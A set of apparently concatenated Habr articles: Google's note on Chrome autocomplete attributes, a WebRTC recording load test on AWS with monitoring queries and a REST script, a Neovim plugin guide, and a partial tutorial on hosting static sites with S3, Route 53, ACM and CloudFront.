Привет, Хабр! Сегодня для работы в Интернете все чаще используются мобильные устройства, а не компьютеры. При этом, на многих сайтах есть формы для ввода данных, позволяющие совершить покупку или подписаться на рассылку. Как результат, пользователям приходится много раз вводить на разных сайтах такие сведения о себе, как имя, номер телефона и адрес. Удобство веб-форм имеет огромное значение, потому что при работе с ними всегда вероятны ошибки, в результате чего многие пользователи вовсе отказываются от заполнения. Три года назад мы представили функцию автозаполнения в браузере Chrome, которая [упрощает ввод данных в формы](http://googlewebmastercentral.blogspot.com/2012/01/making-form-filling-faster-easier-and.html). Теперь Chrome полностью поддерживает в формах атрибут autocomplete в соответствии с современным [стандартом WHATWG HTML](https://html.spec.whatwg.org/multipage/forms.html#autofill). Благодаря этому веб-мастера и разработчики могут помечать поля атрибутами, например name и street-address (имя и адрес), не изменяя интерфейс или другой код сайта. Те, кто реализовал эти возможности, отмечают, что их формы стали заполняться чаще.
Например, если пометить поле для ввода электронного адреса, то код будет выглядеть так:
```
```
Вот полный [пример разметки формы](http://googlesamples.github.io/web-fundamentals/samples/input/form/order.html):
```
Contact Info
Name
Email
Confirm Email
Phone
Shoe Size
Favorite Type of Chocolate
Shipping
Address
CityState
Zip
Country
Bill to this address.
Billing
Address
City
State
Zip
Country
Payment
Do **NOT** provide real credit card information in this field.
Name on card
Card Number
CVC
Expiry
Check Out
```
Оптимизация сайтов для просмотра на мобильных устройствах очень важна. Мы надеемся, что в будущем появится больше ресурсов, на которых внедрен атрибут autocomplete. Более подробные сведения можно найти в руководстве «Основы веб-дизайна» на [этой странице](https://developers.google.com/web/fundamentals/input/form/label-and-name-inputs?hl=ru&utm_source=habr). Если у вас возникли вопросы, задайте их на нашем [форуме](https://support.google.com/webmasters/go/community).
Наши предыдущие посты по теме оптимизации для мобильных:
>> [Выявляем заблокированные ресурсы при помощи инструментов Google для веб-мастеров](http://habrahabr.ru/company/google/blog/252749/)
>> [Улучшаем результаты поиска на мобильных устройствах](http://habrahabr.ru/company/google/blog/250089/)
>> [Google будет помечать мобильные сайты в результатах поиска](http://habrahabr.ru/company/google/blog/243559/)
>> [Индексирование приложений: теперь и на русском языке](http://habrahabr.ru/company/google/blog/224683/)
>> [Совершенствуем понимание веб-страниц](http://habrahabr.ru/company/google/blog/224135/)
>> [Новый агент пользователя Googlebot для смартфонов](http://habrahabr.ru/company/google/blog/210118/)
>> [Как улучшить мобильную версию сайта. Рекомендации и видеосоветы](http://habrahabr.ru/company/google/blog/208488/) | https://habr.com/ru/post/253585/ | null | ru | null |
# Load test of WebRTC recording on AWS
Do you remember how just a few years ago it was a disaster to lose a camera at the end of a vacation? All memorable pictures and videos then disappeared along with the lost device. Probably, this fact prompted the great minds to invent cloud storage, so that the safety of records no longer depends on the presence of the devices on which these records are made.
Recording video streams on the server side during streaming seems to be such a natural function that many of our users don't even consider it as a job for the server. Such statements from users are not uncommon:
"My server is idle, only background recording is going on"
But if "only recording" is going on the server, then at least there are video streams, otherwise what should be recorded? Therefore, the server is not so idle as it seems. And the recording itself still consumes some resources of the processor and RAM. Also, you need to allocate disk space for storing the records but it depends on the task and how many records you need to store and in what quality.
Let's look at how video recording is implemented on the server side using the example of WCS. The browser or mobile application connects with WCS and sends a WebRTC video stream. WCS records and saves this video stream in the server file system as WebM or mp4 files, then these records are available for downloading and/or further processing. For example, you can [transfer them to Amazon S3 cloud storage](https://flashphoner.com/recording-webrtc-video-stream-from-webcams-browser-with-on-amazon-s3/).
* MP4 for H.264 + AAC codecs;
* WebM for VP8 + Vorbis codec
When recording a large number of publications at the same time, saving files to disk at the end of the recording can take a lot of time. Therefore, when choosing media for recording storage, pay attention not only to the capacity, but also to the speed of operation (IOPS) and choose the fastest options.
So the task is to organize recording of 100 WebRTC streams published on your WCS server. This type of work can be used for organizing, for example, a video surveillance system, when it is important not only to watch the stream in real time, but also to save records in case of any incidents. Historically, your infrastructure has used AWS instances, most of which are c5.4xlarge, and WCS instances are no exception. The solution for organizing the recording of streams does not look complicated — just one REST command for each stream and everything works well. But suddenly, just a few minutes after the start of the recording, the monitoring system alarms begin to overflood your phone - everything is bad, everything is broken!
So, let's run tests and see why this could happen.
### Testing Plan
1. Publish the stream from the camera on the WCS#1 server
2. Using the Console web application, take a stream from the WCS#1 server to WCS#2. In this case, 100 incoming WebRTC streams to be recorded are created on the WCS#2 server
3. Using a script with REST requests, start recording WebRTC streams coming to WCS#2
4. Select a random stream on WCS#2 and visually evaluate degradation (or absence) of the stream during the recording of the streams
5. Stop recording WebRTC streams on WCS#2 using a script with REST requests
6. Estimate the load on the WCS#2 server by the values of the metrics collected by the Prometheus monitoring system for the WCS#2 server.
Testing is considered successful if the recording files are generated and no degradation of streams is seen in the monitoring results or visually.
### Preparation for Testing
To test the recording, we used two c5.4xlarge AWS instances with the following characteristics:
* 16 vCPU;
* 32 Gb RAM;
* 10Gbps;
Web Call Server is adapted [to run in an Amazon EC2 environment](https://flashphoner.com/wcs-aws-marketplace) with a few clicks, and you can also manually deploy WCS on an Amazon EC2 instance. After installing the server, we slightly optimized the settings — enabled ZGC and indicated how many processor streams to use for the recorder:
```
file_recorder_thread_pool_max_size=8
```
Sample files with WCS settings — flashphoner.properties and wcs-core.properties can be downloaded in the Useful Files section.
The WCS#2 instance used to test the recording is connected to Prometheus+Grafana. In this testing, we will track the following metrics:
* Processor load:
```
node_load1
node_load5
node_load15
```
* Physical memory for Java:
```
core_stats{instance="your.WCS.server.name:8081", job="WCS_metrics_statistic", param="core_java_freePhysicalMemorySize"}
core_stats{instance="your.WCS.server.name:8081", job="WCS_metrics_statistic", param="core_java_totalPhysicalMemorySize"}
```
* Pauses in the work of ZGC:
```
gc_stats{instance="your.WCS.server.name:8081", job="WCS_metrics_statistic", param="gc_last_pause_ms"}
```
* Network bandwidth:
```
network_stats
```
* Number of incoming WebRTC streams:
```
streams_stats{instance="your.WCS.server.name:8081", job="WCS_metrics_statistic", param="streams_webrtc_in"}
```
* Number and percentage of degraded streams:
```
degraded_streams_stats{instance="your.WCS.server.name:8081", job="WCS_metrics_statistic", param="degraded_streams"}
degraded_streams_stats{instance="your.WCS.server.name:8081", job="WCS_metrics_statistic", param="degraded_streams_percent"}
```
* Number of open recorders (the number of streams for which the recording is in progress)
```
recording_stats{instance="your.WCS.server.name:8081", job="WCS_metrics_statistic", param="recording_sessions"}
```
* Disk space usage (%)
```
100 - node_filesystem_avail_bytes{instance='your.WCS.server.name:9100' , fstype!='tmpfs'} / node_filesystem_size_bytes * 100
```
A ready-to-use panel for Grafana can be downloaded in the Useful Files section.
### Testing
After completing all the preparatory work, proceed to testing.
Create streams for recording using the Console web application:
1. On the first WCS#1 server, open the Console app via HTTP <http://your.WCS.server.name:9091/client2/examples/demo/streaming/console/console.html>
2. Specify the domain name or IP address of the first server and click the Add node button. This will be the source server for the WebRTC stream. Then, in the same way, connect the second WCS server to the console to capture streams for recording.
3. For the first server, run the standard Two-way Streaming instance and publish the stream from the webcam. You can choose any stream name.
4. In the Console application, select the WCS#2 server, click the Pull streams button and set the parameters for capturing streams:
* **Choose node** — select the first server;
* **Local stream name** — specify the name of the stream on the WCS#2 server to capture the stream from the first server (an index corresponding to the number of the captured stream will be added to the stream name). The specified stream name will be further used in the script for recording streams (in our example "Stream-");
* **Remote stream name** — specify the name of the stream published on the first server;
* **Qty** — indicate the number of viewers (for our testing - 100).
Click the Pull button to start capturing streams.
We start recording the captured streams using the script:
```
#!/bin/bash
qty=100
for i in `seq 1 $qty`; do
DATA='{"name":"Stream-'$i'", "published":true, "display":["metrics"]}'
curl --data "$DATA" -X POST -H "Content-Type: application/json" http://localhost:8081/rest-api/stream/find > stream.txt
mediaSession=`grep -P -o '(?<=\"mediaSessionId\"\:\").*(?=\"\,\"name\")' stream.txt`
DATA_rec='{"mediaSessionId":"'$mediaSession'", "config":{ }}'
curl --data "$DATA_rec" -X POST -H "Content-Type: application/json" http://localhost:8081/rest-api/stream/startRecording -nostdin -nostats /dev/null 2>&1 &
done
```
where:
* **qty** - number of recorders to create.
Using the REST request [/stream/find](https://docs.flashphoner.com/display/WCS52EN/Stream+parameters+monitoring+with+REST+API#StreamparametersmonitoringwithRESTAPI-RESTqueriesandresponsestates), we get a list of streams that exist on the server to determine the media session ID, then with the request [/stream/startRecording](https://docs.flashphoner.com/display/WCS52EN/Stream+recording#Streamrecording-RESTmethodsandresponsestatuses) we start recording the stream in the corresponding media session.
You can see the test result in the screenshot:
Here you can see that about 15 minutes after the start of the test, the recording files took up 100% of the disk space. For this reason, despite the small load on the server resources (Peak load average 1 is less than 8 units) and the absence of degraded streams, the test cannot be considered passed. This is because AWS only provides 8GB of storage space for a c5.4xlarge instance. Therefore, a quite large number of records in a test very quickly takes it up completely.
In the first test, we published the stream using the standard Two-way Streaming example and the stream was published with 320x240 parameters, this is a rather "small" stream that does not load the server too much. The bitrate of this stream will be about 0.5 mbps. The generated recording file for one such stream takes about 65 kilobytes of disk space per second.
Let's see how our server will behave if we publish a "fat" stream - 1080p (FullHD) with an average bitrate of 2.5 mbps. For one stream with these parameters, the growth of the recording file will already be about 300 kilobytes per second, which is much faster than for a 240p stream.
In this case, we will start publishing the stream using the Media Devices example, where we will set the frame size to 1920x1080:
Then we will run the test in the same way as the previous one. The test result is shown in the screenshot below:
The test with a 1080p stream, as expected, showed a result similar to the previous test - the recordings again took up 100% of the available disk space, and therefore the server could not continue to work. In the case of a "large" stream, the time during which the records took up all the available space was about 5 minutes. This is three times faster than in the previous test with a "small" stream. So, we have seen in practice that the higher the resolution and bitrate of the stream, the more disk space recording files take up.
Let's change the test conditions a little. During testing, we will stop recording and [move the generated recording files](https://flashphoner.com/recording-webrtc-video-stream-from-webcams-browser-with-on-amazon-s3/). The results of this test are shown below:
This test can be considered passed. The server load was small (Load Average 1 was less than 8 units), no degraded streams were recorded. If you use this scenario, take into account that when recording "large" streams, you need to move "pieces" of video more often than for "lighter" streams (with low resolution and bit rate).
To cut pieces of a recording, it is not necessary to stop recording, as we did in the test, you can use "[Record File Rotation](https://docs.flashphoner.com/display/WCS52EN/Stream+recording#Streamrecording-Recordfilesrotation) configured using the record\_rotation parameter in the flashphoner.properties file.
For example,
```
record_rotation=20
```
sets the duration of the piece to 20 seconds, and
```
record_rotation=10M
```
sets the piece size to 10 megabytes.
As a result, we can conclude that the c5.4xlarge instance is sufficient for long-term recording of 100 WebRTC streams, provided that external storage or an additional disk is used for recordings.
Let's confirm this statement with a test. We will repeat the test with a 125 GB st1 disk connected to the instance. [AWS claims](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-volume-types.html) 500 IOPS for these drives, which is several times bigger than the performance of the SSD that comes with the default instance.
Thus, we have confirmed the statement that a c5.4xlarge instance is sufficient for long-term recording of 100 WebRTC streams, provided that an additional disk is used for recordings. In this case, the test results were less dependent on the speed of the processor streams and RAM. The key metrics were disk write speed and free disk space. On your hardware, you may get different test results. Simply put, a test on powerful hardware servers will show better values than a test on average "virtual machines." Therefore, when conducting a test, you need to try to create an environment close to your real task.
Have a good streaming!
### Useful Files
Panel for Grafana:
[Recordind-test.json](https://flashphoner.com/wp-content/uploads/2021/07/Recordind-test.json)
WCS Settings:
[flashphoner.properties](https://flashphoner.com/wp-content/uploads/2021/07/flashphoner.properties)
[wcs-core.properties](https://flashphoner.com/wp-content/uploads/2021/07/wcs-core.properties)
Test Scripts:
Start recording:
[record-test.sh](https://flashphoner.com/wp-content/uploads/2021/07/record-test.sh)
Stop recording:
[record-test-terminate.sh](https://flashphoner.com/wp-content/uploads/2021/07/record-test-terminate.sh)
Links[Demo](https://demo.flashphoner.com/admin/login.html)
[WCS on Amazon EC2](https://flashphoner.com/amazon-ec2-support-in-web-call-server)
[WCS on DigitalOcean](https://flashphoner.com/web-call-server-on-digital-ocean-marketplace)
[WCS in Docker](https://flashphoner.com/support-web-call-server-in-docker)
[Quick deployment and testing of the server](https://docs.flashphoner.com/display/WCS52EN/Quick+deployment+and+testing+of+the+server)
[Stream recording](https://docs.flashphoner.com/display/WCS52EN/Stream+recording)
[Settings file flashphoner.properties](https://docs.flashphoner.com/display/WCS52EN/Settings+file+flashphoner.properties)
[Settings file wcs-core.properties](https://docs.flashphoner.com/display/WCS52EN/Settings+file+wcs-core.properties)
[Server tuning recommendations](https://docs.flashphoner.com/display/WCS52EN/Server+tuning+recommendations)
[Memory management in Java](https://docs.flashphoner.com/display/WCS52EN/Memory+management+in+Java)
[Before moving to production](https://docs.flashphoner.com/display/WCS52EN/Before+moving+to+production)
[Load testing using WebRTC/RTMP pulling](https://docs.flashphoner.com/pages/viewpage.action?pageId=9242540)
[Quick deployment and testing of the server](https://docs.flashphoner.com/display/WCS52EN/Quick+deployment+and+testing+of+the+server)
[Load and resource usage information](https://docs.flashphoner.com/display/WCS52EN/Load+and+resource+usage+information)
[Monitoring with Prometheus](https://docs.flashphoner.com/display/WCS52EN/Connecting+from+Prometheus)
[Media Devices Web SDK](https://docs.flashphoner.com/display/WEBSDK2EN/Media+Devices?src=contextnavpagetreemode) | https://habr.com/ru/post/570360/ | null | en | null |
# Neovim для full stack программиста
Я немного расскажу, как использую vim в работе full stack программиста, со своей колокольни, но для начала отвечу на некоторые вопросы, которые задают мне, когда узнают, что я использую vim при разработке проектов:
### Зачем?
Хороший вопрос. Стоит для себя лично на него ответить. Зачем валандаться с vim, изучать кучу комбинаций клавиш и плагинов? Какой смысл, если есть vscode или pycharm или phpstorm? Жизнь коротка, стоит ли ее тратить на все это? Чтобы впечатлить кого-то, как на картинке в начале статьи? Да кого этим удивишь?
Я могу ошибаться, но на мой взгляд, [ответ - всегда число](https://www.youtube.com/watch?v=LrIMguQkkbI). Сколько вы за свою жизнь затратите секунд на то, чтобы дотянуться до мыши и вернуться назад на клавиатуру? Посчитайте за сегодняшний день, сколько раз вы дотянулись до мышки и вернулись на клавиатуру, переведите в секунды, умножьте на 365 и на те годы, что планируете проработать программистом. Держа в голове это число и холодный расчет, можно прикинуть, стоит ли оно того. Есть и второстепенные факторы - сколько секунд ваше IDE тратит при старте или на открытие тяжелого файла и т.д. Эти секунды – тоже ваша жизнь. Возможно, в вашем случае это будет не такое уж и большое число, ну что же, статью можно закрывать, нет смысла тратить время.
Вы так же можете сказать, что и в IDE тоже есть горячие клавиши, да, они есть, но только они мало что решают, и вы не сможете полностью вытащить мышь из своего компьютера при работе с ним, пока не включите vim-эмуляцию. А если vim эмуляция включена, то стоит ли парится с IDE, когда можно получить то же самое с помощью плагинов и голого vim-а. Вот такая палка о двух концах.
### Можно ли вести серьезную разработку на vim?
Разработка не то что будет уступать IDE, а, наоборот, их опережать за счет гибкости и настройки именно под ваши нужды. Да и быстродействие vim никто не отменял. Плюс бесчисленные комбинации клавиш, которые сидят на уровне подкорки. Тут вопрос затраченных усилий, то, что вы получите в IDE из коробки сразу же, в vim придется разобраться, как все работает и какие нужны для этого плагины или самописные функции. Это как санки тащить в гору – тяжело, но зато потом можно нестись с горы как ветер. Проблема лишь в освоении и тренировки навыка, а также в том, сколько времени на этот навык уйдет.
Тут был забавный [комментарий](https://habr.com/ru/company/vdsina/blog/565320/#comment_23208958) в одной из статей про vim, что человек с помощью мышки и gui обогнал своего коллегу в терминале. А вот реальная история из моей жизни. Один человек купил себе спортивную машину с ручной коробкой передач. И мой знакомый ему говорит, я тебя без проблем на своей обычной машине с автоматической коробкой обгоню. Выехали на светофор, и так оно и получилось. Человек на автомате победил, потому что знал, что за рулем спорткара - дилетант. Значит ли это, что посадив за этот спорткар профессионального гонщика, он его тоже обгонит?
### Как тренировать навык работы?
Совсем новичку стоит сразу начинать работать с neovim. [Neovim](https://neovim.io) – это самый современный на данный момент форк vim-а. Установите [neovim](https://github.com/neovim/neovim/wiki/Installing-Neovim) и введите команду
`:Tutor`
Пройдите все уроки, на это уйдет примерно 1.5 часа времени, но оно того стоит, если решили потратить n-усилий, чтобы освоить работу с vim. В инете можно найти на русском этот тутор.
Можно установить приложение на телефон [Vim Master](https://play.google.com/store/apps/details?id=develop.example.beta1139.vimmaster&hl=en_US&gl=US) и проходить тесты по командам vim. Когда я начинал изучить vim, такого приложения не было, оно бы сэкономило мне тьму усилий. Когда мне скучно и рука тянется почитать новости или заняться еще какой-либо прокрастинацией, я стараюсь запустить эту приложуху. Как не странно, меня это еще и успокаивает.
Есть vim игра, но мне лично она не понравилась, хотя на вкус и цвет фломастеры разные.
Плюс стоит прочитать все доступные книжки по vim, которые есть на данный момент. Их не так уж и много.
Этих знаний будет достаточно, чтобы покрыть 99% проблем, оставшийся 1% покроет гугл.
О всех новинках и модных течениях, которые связаны с vim, можно читать на редите в этих четырех ветках: [**1**](https://www.reddit.com/r/neovim/)**,** [**2**](https://www.reddit.com/r/vim/)**,** [**3**](https://www.reddit.com/r/vimplugins/)**,** [**4**](https://www.reddit.com/r/vimporn/)**.**
### Пару слов о neovim
Thiago de ArrudaВозможно кто-то не знает, я кратко расскажу историю neovim и с чего все началось. Жил был программист Thiago de Arruda из Бразилии. В 2013 году он написал патч для поддержки многопоточных плагинов для vim. Но его реквест отклонили. Другой бы на его месте расстроился и плюнул, но Тиага оказался не из тех, кто легко сдаётся. Он создал форк vim, назвал его neovim. Вкатил в него асинхронную сишную библиотеку [libuv](https://github.com/libuv/libuv), стал писать тесты, начал избавляться от старого C89 кода. Его вдохновение и настойчивость увидели другие разработчики. Образовалось комьюнити. И вот через 7 лет можно сказать, что neovim - это уже стандарт дефакто в мире vi\*. Короче говоря, получилось как в пословице, не было бы счастья, да несчастье помогло. В статье, если я пишу vim, то я уже имею ввиду neovim.
### Плагины
С помощью плагинов можно превратить vim в IDE, которая будет настроена на ваши потребности и на ваш вкус. Полно разных туториалов или видео-уроков на этот счет. Но я бы хотел в этой статье сконцентрироваться на плагинах, которые бы ускоряли разработку. Да, есть плагины, которые занимаются внешним видом или выводят всякую там полезную информацию, или плагины, которые рассчитаны на определенный язык, например, для GO есть [vim-go](https://github.com/fatih/vim-go) и т.д. Я не буду тут перечислять специфические плагины для отдельно взятых языков, тем более, что они легко гуглятся, а попробую рассказать о плагинах, которые бы подходили для всех, вне зависимости от яп, и которые, на мой взгляд, помогают быстрее писать код.
**Плагин Tagbar (навигация внутри файла)**
Работа плагина tagbarНа навигацию по файлу уходит много времени, особенно, если это легаси, с кучей всего. Открыли вы файл, в котором тысяча классов и функций. Хорошо бы сразу получить их список, а так же возможность мгновенно переместится в нужный класс или функцию. [Плагин Tagbar](https://github.com/preservim/tagbar) этим и занимается. Строит отдельное окошко с правой стороны, что-то вроде дерева из классов и функций, и дает возможность по ним перемещаться.
Я добавил такие настройки себе в .vimrc (nvim/init.vim) для этого плагина:
```
" Автостарт плагина для некоторых типов файлов
autocmd VimEnter *.py,*.pl,*.js,*.php TagbarToggle
" Компактный вид у тагбара
let g:tagbar_compact = 1
" Отк. сортировка по имени у тагбара (мне хронология важнее)
let g:tagbar_sort = 0
```
Если вы переключились на окошко с tagbar и хотите развернуть или свернуть дерево с классами, то используйте клавишу `=`
**Плагин NERDTree (навигация по дереву папок и файлов)**
Работа плагина NERDTree - вызов окошка слева со структурой файлов и папокРабота плагина NERDTree - вызов окошка слева со структурой файлов и папок
[NerdTree](https://github.com/preservim/nerdtree) плагин для навигации по файлам проекта, что-то вроде файлового менеджера. Использую, чтобы посмотреть структуру файлов и папок, а также чтобы создать файл в нужно месте. Я добавил для себя следующие настройки
```
" Показывать скрытые файлы и папки в NERDTree
let NERDTreeShowHidden = 1
" F6 для запуска и свертывания
noremap :NERDTreeRefreshRoot :NERDTreeToggle
```
### Плагин fzf - нечеткий поиск по именам файлов
Плагин fzf в действии. Ищем файл, в котором содержится слово ballПредставьте, вам нужно открыть файл, но вы не помните, в какой папке он лежит, и не помните, как он точно называется, все что вы помните, это то, что в имени файла есть слово ball и что у него расширение вроде .cpp. В жизни обычно именно так и происходит. На gif-ke выше видно, как происходит поиск и открытие нужного файла.
[Плагин fzf](https://github.com/junegunn/fzf) обеспечивает просто невероятную скорость работы с файлами и папками, и с нечетким поиском. В больших проектах на поиск и открытие нужного файла уходит много времени и сил, но с помощью этого плагина все это становится парой пустяков. Так же если у вас открыто множество вкладок (буферов) и тоже стоит проблема быстро переключится на нужный файл, то fzf вам в помощь.
Плагин понимает .gitignore, так что он не будет искать среди картинок. Я добавил такие настройки:
```
" Если файл уже открыт в vim, то перейти к нужному буферу
let g:fzf_buffers_jump = 1
" Горячие клавиши для файлов и буферов
noremap :Files
noremap :Buffers
```
Сейчас появился модный [telescope.nvim](https://github.com/nvim-telescope/telescope.nvim), который делает нечто похожее, и там еще есть ряд наворотов. Если кто-то использует, напишите, пожалуйста, в комментариях, как вам?
**Плагин ack.vim поиск внутри файлов**
Плагин ack.vim поиск внутри файловНапример, вы работаете над проектом и вам нужно открыть функцию, которая содержит слово get\_all, но вы не помните где и в каком файле она лежит. На gif-ке сверху идет поиск и открытие файла по этому слову, потом показан поиск по слову def. Или, например, у вас есть класс MyClass и вам надо быстро понять, где он используется.
Мои кое-какие настройки: по клавише F4 ищет слово под курсором, а по shift F4 выдает команду для поиска
```
" Поиск слова под курсором, воскл. знак, чтобы не было автооткрытия файла
noremap :Ack! --ignore-dir={static,logs,files}
noremap :Ack! --ignore-dir={static,logs,files}
```
**Плагин deoplete.nvim (асинхронная автодополнялка)**
Плагин deoplete.nvim - асинхронный автокомплитПлагин [deoplete.nvim](https://github.com/Shougo/deoplete.nvim) - асинхронный автокомплит. Очень быстрый. Здесь список [поддерживаемых языков программирования](https://github.com/Shougo/deoplete.nvim/wiki/Completion-Sources). Раньше я использовал [coc.nvim](https://github.com/neoclide/coc.nvim) для этих целей, но уже давно перешел на deoplete.nvim. Вот то, что в IDE есть из коробки, а в vim нужно немного поразбираться.
**Плагин emmet-vim**
Плагин emmet-vimТрудно даже описать, что делает [emmet-vim](https://github.com/mattn/emmet-vim), но время точно сильно экономит. Если в двух словах, он превращает аббревиатуру в код.
Смотрите на gif-ку с работой плагина. Я набрал `html:5` + `ctrl y,` и получил:
```
```
Дальше вставил список, ввел `ul>li.my-class*>span` и получил
```
* один
* два
* три
* четыре
```
Все это заняло у меня несколько секунд.
**Плагин surround.vim**
Плагин surround.vim демоЕсли понаблюдать за работой программиста, то можно увидеть, что громадная часть времени уходит на то, чтобы засунуть код в скобки или в кавычки или в какой-нибудь тег. Был код в фигурных скобках, надо эти скобки заменить на квадратные скобки, был в кавычках, надо вообще эти кавычки убрать. Почему бы не сделать это максимально быстро?
[Плагин surround.vim](https://github.com/tpope/vim-surround) - даст супер скорость в работе с обрамляющими кавычками, скобками и тегами. На гиф-ке видно, как это все работает.
### О некоторых настройках
Навигация только через hjkl
Самая жесткая и кошмарная настройка, которую надо внести на первых порах это:
```
nnoremap :echoe "Use h"
nnoremap :echoe "Use l"
nnoremap :echoe "Use k"
nnoremap :echoe "Use j"
```
Отключаем стрелочки. По началу можно возненавидеть все на свете, каждый раз рука будет тянуться к стрелочкам и каждый раз получать сообщение, что, давай, используй `hjkl` для навигации. Тут читал статью, что человек, который самостоятельно научился плавать и потом решил, чтобы ему поставили правильную технику профессиональные пловцы, будет в шоке, насколько ему неудобно, но это надо просто пережить, зато потом с правильной техникой он сможет плыть эффективнее, быстрее и дольше.
ESC как jj
До клавиши ESC тянуться достаточно далеко и не очень эргономично, так что выход из режима insert многие вешают на jj или на jk, кому как удобнее
```
imap jj
```
### P.S.
Хотел еще рассказать о других плагинах и настройках, но посмотрел и увидел, что мое графоманство довело меня до того, что статья получилась очень длинная. Так что в следующий раз напишу еще. Я не считаю себя гуру vim и есть вещи, с которыми бы мне хотелось разобраться. | https://habr.com/ru/post/585222/ | null | ru | null |
# Хостинг статических сайтов на AWS
В данной статье я хочу подробно разобрать тему хостинга статических сайтов на [AWS](https://aws.amazon.com/). Тему нельзя назвать сильно сложной, но нюансов хватает. Для настройки вручную потребуется организовать взаимодействие 4-5 сервисов, а по дороге порой можно встретить весьма интересные грабли.
Некоторое время назад существовал официальный туториал по такой ручной настройке. Местами он мог показаться сложным, местами странным. Скорее всего, это была дань универсальности и необходимости продемонстрировать разные варианты хостинга. Однако сейчас [туториал](https://aws.amazon.com/getting-started/hands-on/host-static-website/) кардинально обновлен, и предлагает использовать сервис [AWS Amplify](https://aws.amazon.com/amplify/) для решения такой задачи. С одной стороны, это удобно, но с другой стороны, иногда необходимо разобраться, что же именно происходит “под капотом”. Поэтому здесь мы разберем, как все настроить руками.
Статические сайты
-----------------
Для начала, в двух словах — а почему статический сайт? Как ни странно, мода на статические сайты, вернувшаяся лет 8-10 назад, до сих пор не проходит. И речь не только об огромном количестве сайтов на [GitHub Pages](https://pages.github.com/). Генераторы статических сайтов такие как [Jekyll](https://jekyllrb.com/), [Hugo](https://gohugo.io/) или хипстерский [Gatsby](https://www.gatsbyjs.com/) продолжают выпускать регулярно новые релизы и остаются более чем востребованными.
Проверка временем давно пройдена. Но чем же это круто? Когда у вас статический веб-сайт, на нем практически нечего ломать. Нет форм логина, админки, динамических скриптов, которые можно обмануть. Статический сайт — это очень быстро. Вам не нужно грузить CPU обработкой тяжелого запроса. Содержимое можно кэшировать, начиная от CDN’а и заканчивая браузером пользователя.
Хостинг сайта или почему AWS
----------------------------
На статическом сайте практически нечего ломать. Если нельзя ломать сайт, можно ломать, например, хостинг. Вы купили виртуальную машинку в DigitalOcean, поставили туда nginx и залили сайт. Но nginx и другие пакеты тоже надо периодически обновлять. Поэтому логичным выбором в пользу уменьшения забот (ака maintenance) является использование облаков, например, AWS. ОСь и веб-сервер никуда не денутся, но их обновление и защита перестанут быть вашей задачей.
Для примера я взял сайт, который мы ([Plesk](https://www.plesk.com/)) используем в качестве промо наших open source проектов на GitHub.
Сайт статический. Состоит, по сути, из одной странички index.html, нескольких картинок, кастомного шрифта, css-стилей и некоторого количества JavaScript’а.
Этот сайт мы и попробуем разместить в инфраструктуре AWS. Схематично инфраструктура будет выглядеть следующим образом:
AWS S3
------
Для хостинга сайта мы воспользуемся сервисом [AWS S3](https://aws.amazon.com/s3/). Первое, что нам потребуется, это создать S3 bucket. По сути, это именованное место для хранения файлов. Имя должно быть глобально уникально. Сайт я планирую разместить по адресу tech.plesk.space, поэтому в качестве имени bucket’а выбрал tech-plesk-space (можно было и с точками). Регион пусть будет Франкфурт, eu-central-1. Во Франкфурте расположена самая крупная в Европе точка обмена трафиком. В нашем случае я не планирую раздавать контент напрямую с S3, мы это сделаем с помощью CloudFront, поэтому выбор региона не сильно принципиален. Но, в целом, с точки зрения latency и connectivity для потребителей из Европы, Франкфурт — это очень хорошая локация. Из скриншота ниже можно заметить, что выставлена галочка “Block all public access”. Все верно, раздавать контент мы будем не напрямую с S3, а через сервис CloudFront, который представляет собой Content Delivery Network от Amazon.
После создания bucket пуст, и нам нужно залить туда файлы, которые мы планируем раздавать. Можно сделать это через веб-интерфейс, но я воспользуюсь AWS CLI. Сделать это можно с помощью следующей команды из директории, где локально расположены файлы сайта:
```
aws s3 sync --delete . s3://tech-plesk-space
```
Что здесь происходит? Мы выполняем синхронизацию локальных файлов с S3 bucket с названием tech-plesk-space. Опция “delete” позволяет удалить файлы в bucket, если они отсутствуют локально.
Проверяем через веб-интерфейс — файлы доступны:
Если бы мы не ограничили публичный доступ, то файлы можно было бы посмотреть через технический домен. Amazon для удобства создал нам tech-plesk-space.s3.eu-central-1.amazonaws.com. Как видно, доменное имя состоит из названия bucket, названия сервиса S3, региона eu-central-1 и суффикса для технических доменов: amazonaws.com.
Route 53
--------
Прежде чем настраивать публичный доступ к сайту, давайте разберемся с доменным именем. В качестве такового я выбрал tech.plesk.space.
Отправляемся в консоль Amazon, открываем сервис [Route 53](https://aws.amazon.com/route53/) и создаем новую публичную зону.
После создания зоны мы получаем информацию об NS-записях. Это DNS-серверы, которые будут хранить информацию о нашей зоне. Если вы раньше работали с какими-нибудь небольшими провайдерами, то выглядело это примерно так: есть ns1, ns2, и на них хостятся все домены. В случае с AWS сказать какие DNS-серверы будут обслуживать зону заранее нельзя.
Итак, у нас есть список NS-записей, что с ним делать? Если вы купили домен, то далее идете в панель управления доменом и прописываете полученные записи. Вот так это выглядит, например, у GoDaddy:
В нашем случае домен tech.plesk.space является поддоменом plesk.space, а эта зона хостится в Digital Ocean DNS аккаунте. Для того, чтобы правильно выполнить делегирование, нам нужно прописать соответствующие glue records.
Проверяем с помощью dig’а:
Одних NS-записей для обслуживания сайта не достаточно. Нужна еще A-запись. Мы вернемся к этой теме немного позже, когда доберемся до CloudFront, но перед этим нам нужно сделать еще одно действие.
ACM
---
Современные тенденции говорят, что сайт должен быть доступен по HTTPS, и на нем должен присутствовать валидный сертификат. В AWS есть сервис по управлению сертификатами и называется он [AWS Certificate Manager](https://aws.amazon.com/certificate-manager/) (или сокращенно ACM). Отправляемся туда для создания сертификата. Это абсолютно бесплатно, но секретную часть сертификата (ключ) вам не дадут. Так что этими сертификатами можно воспользоваться только внутри инфраструктуры Amazon.
Еще один любопытный момент: для нужд CloudFront сертификат нужно создавать в зоне us-east-1 (N. Virginia), иначе вы не сможете им воспользоваться в рамках CloudFront. Что ж, переключаем регион на us-east-1 и идем создавать сертификат. В качестве способа валидации выбираем DNS-валидацию. Так как зону мы разместили в Route53, есть удобная кнопочка создания валидационной записи:
Процесс может занять до 30 минут. На практике обычно это занимало гораздо меньше времени. В конце процедуры, после успешного выписывания сертификата, можно сходить в Route53 и удалить валидационную запись.
Сертификат выдается сроком на 1 год и для его обновления дополнительно делать ничего не нужно.
CloudFront
----------
Осталось буквально последнее действие — настроить [CloudFront](https://aws.amazon.com/cloudfront/), чтобы наш сайт стал доступным для пользователей.
